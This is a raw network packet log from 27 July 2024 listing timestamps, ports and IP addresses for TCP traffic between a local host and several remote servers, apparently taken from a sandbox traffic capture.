Jul 27, 2024 13:31:02.736265898 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.736330986 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.736347914 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.736382008 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.736571074 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.736587048 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.736601114 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.736615896 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.736622095 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.736633062 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.736654997 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.736682892 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.737211943 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737226963 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737241983 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737257004 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737272978 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737287998 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737299919 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.737304926 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737322092 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737338066 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737339973 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.737354994 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.737389088 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.737420082 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.738154888 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738171101 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738187075 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738203049 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738217115 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738219976 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.738233089 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738248110 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738257885 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.738262892 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738292933 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.738293886 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738311052 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738325119 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.738351107 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.738807917 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.739217043 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739232063 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739247084 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739262104 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739268064 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.739278078 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739294052 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739305973 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.739310026 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739326000 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739341021 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.739357948 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.739929914 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739947081 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739962101 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739976883 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.739984989 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.739991903 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740008116 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740020990 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.740025043 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740037918 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.740041018 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740056992 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740072012 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740081072 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.740098000 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.740853071 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740869045 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740885019 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740900993 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.740931034 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.740961075 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.793585062 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.793634892 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.793652058 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.793750048 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.793766975 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.793905020 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.793905020 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.793973923 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.793991089 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.794008017 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.794029951 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.794065952 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.822921038 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.822942972 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.822959900 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823046923 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.823110104 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823124886 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823139906 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823156118 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823165894 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.823194981 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.823522091 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823537111 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823554039 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823566914 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823575020 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.823605061 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.823931932 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823946953 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823961020 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823975086 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.823987007 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.823991060 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.824009895 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.824013948 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.824022055 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.824024916 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.824069023 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.824098110 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.824935913 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.824953079 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.824968100 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.824984074 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.824997902 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.824999094 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.825012922 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825017929 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.825030088 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825043917 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825057983 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825067997 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.825073004 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825093031 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.825109959 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.825757980 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825773001 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825788021 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825803041 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825813055 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.825818062 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825833082 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825843096 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.825848103 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825864077 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825879097 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.825894117 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.825916052 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.825937033 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.826769114 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.826786041 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.826801062 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.826816082 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.826829910 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.826844931 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.826844931 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.826858997 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.826864958 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.826874971 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.826890945 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.826926947 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.826926947 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.827558994 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827574015 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827586889 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827600956 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827615023 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827630043 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827645063 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827653885 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.827660084 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827675104 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827687979 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.827694893 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.827716112 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.828490973 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.828505993 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.828521013 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.828536034 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.828547001 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.828550100 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.828566074 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.828576088 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.828579903 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.828596115 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.828609943 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.828619003 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.829381943 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.829397917 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.829411983 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.829425097 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.829425097 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.829427004 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.829441071 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.829457998 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.829469919 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.829472065 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.829487085 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.829502106 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.829515934 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.829538107 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.830182076 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.830235958 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.830291033 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.830306053 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.830321074 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.830336094 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.830353975 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.830369949 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.830372095 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.830384970 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.830399990 CEST	80	49705	104.168.45.34	192.168.2.5
Jul 27, 2024 13:31:02.830421925 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:02.830471039 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:03.123605013 CEST	49705	80	192.168.2.5	104.168.45.34
Jul 27, 2024 13:31:03.123857975 CEST	49704	80	192.168.2.5	198.46.176.133
Jul 27, 2024 13:31:03.287102938 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:03.292074919 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:03.292169094 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:03.293176889 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:03.298084021 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:04.851965904 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:04.868036032 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:04.873084068 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:05.391552925 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:05.397599936 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:05.400660038 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:05.403497934 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:05.403583050 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:05.403625011 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:05.406989098 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:05.407069921 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:05.407098055 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:05.411761045 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:05.413050890 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:05.443548918 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:05.454796076 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:31:05.459849119 CEST	80	49709	178.237.33.50	192.168.2.5
Jul 27, 2024 13:31:05.460515022 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:31:05.460515022 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:31:05.465619087 CEST	80	49709	178.237.33.50	192.168.2.5
Jul 27, 2024 13:31:06.094608068 CEST	80	49709	178.237.33.50	192.168.2.5
Jul 27, 2024 13:31:06.094769955 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:31:06.105642080 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:06.110621929 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.829454899 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.829503059 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.829538107 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.829565048 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:06.829569101 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.829605103 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.829667091 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:06.849039078 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.849123001 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.849159002 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.849176884 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:06.849193096 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.849230051 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:06.849282980 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.094137907 CEST	80	49709	178.237.33.50	192.168.2.5
Jul 27, 2024 13:31:07.095472097 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:31:07.318195105 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318295956 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318356037 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318377972 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.318389893 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318424940 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318478107 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318487883 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.318511963 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318542004 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.318586111 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318619013 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318631887 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.318651915 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.318825960 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.329286098 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.329386950 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.329436064 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.329456091 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.329468966 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.329531908 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.329864979 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.329900026 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.329935074 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.329993963 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.330050945 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.330111980 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:07.330116034 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.330213070 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.330241919 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:07.330301046 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.185432911 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.185465097 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.185476065 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.185487986 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.185633898 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.185729027 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.185750961 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.185772896 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.185796022 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.185816050 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.185858965 CEST	49708	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.185982943 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186260939 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186280966 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186302900 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186325073 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186346054 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186352015 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.186367989 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186388969 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186391115 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.186413050 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186414003 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.186436892 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186460018 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.186460972 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.186508894 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.187897921 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.187920094 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.187941074 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.187962055 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.187983990 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.187999964 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.188004971 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.188030005 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.188046932 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.188054085 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.188069105 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.188086987 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.188108921 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:08.188122034 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.188157082 CEST	57484	49708	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:08.188174009 CEST	49707	57484	192.168.2.5	192.253.251.227
